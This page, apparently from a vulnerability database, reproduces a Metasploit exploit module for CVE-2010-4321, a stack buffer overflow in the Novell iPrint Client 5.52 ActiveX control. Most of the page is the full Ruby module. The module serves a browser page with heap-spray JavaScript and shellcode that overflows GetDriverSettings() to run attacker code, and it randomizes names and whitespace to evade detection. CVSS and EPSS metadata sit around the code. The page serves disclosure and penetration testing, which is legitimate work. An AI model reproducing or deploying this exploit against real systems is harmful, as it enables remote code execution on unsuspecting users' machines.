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Novell iPrint Client ActiveX Control Buffer Overflow

🗓️ 15 Nov 2010 00:00:00Reported by mr_me <[email protected]>, Dr_IDEType 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

Novell iPrint Client ActiveX Control Buffer Overflow in version 5.52 allows remote attackers to execute arbitrary code via a long string to the GetDriverSettings() property of ienipp.ocx

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Novell iPrint Client ActiveX Control Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
          sending an overly long string to the GetDriverSettings() property of ienipp.ocx
          an attacker may be able to execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'mr_me <steventhomasseeley[at]gmail.com>', # metasploit module
          'Dr_IDE' # original Exploit from exploit-db.com
        ],
        'References' => [
          [ 'CVE', '2010-4321' ],
          [ 'BID', '44966' ],
          [ 'OSVDB', '69357' ],
          [ 'ZDI', '10-256' ],
          [ 'EDB', '16014' ],
          [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7007234' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7',
            {
              'Ret' => 0x0A0A0A0A
            }
          ]
        ],
        'DisclosureDate' => '2010-11-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname = rand_text_alpha(rand(100) + 1)
    var_i = rand_text_alpha(rand(30) + 2)
    rand1 = rand_text_alpha(rand(100) + 1)
    rand2 = rand_text_alpha(rand(100) + 1)
    rand3 = rand_text_alpha(rand(100) + 1)
    rand4 = rand_text_alpha(rand(100) + 1)
    rand5 = rand_text_alpha(rand(100) + 1)
    rand6 = rand_text_alpha(rand(100) + 1)
    rand7 = rand_text_alpha(rand(100) + 1)
    rand8 = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|<html>
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{randnop} = "#{nops}";
var #{rand2} = unescape(#{randnop});
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 250; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
</script>
</html>
|
    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

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15 Nov 2010 00:00Current
6Medium risk
Vulners AI Score6
CVSS 29.3
EPSS0.33185
18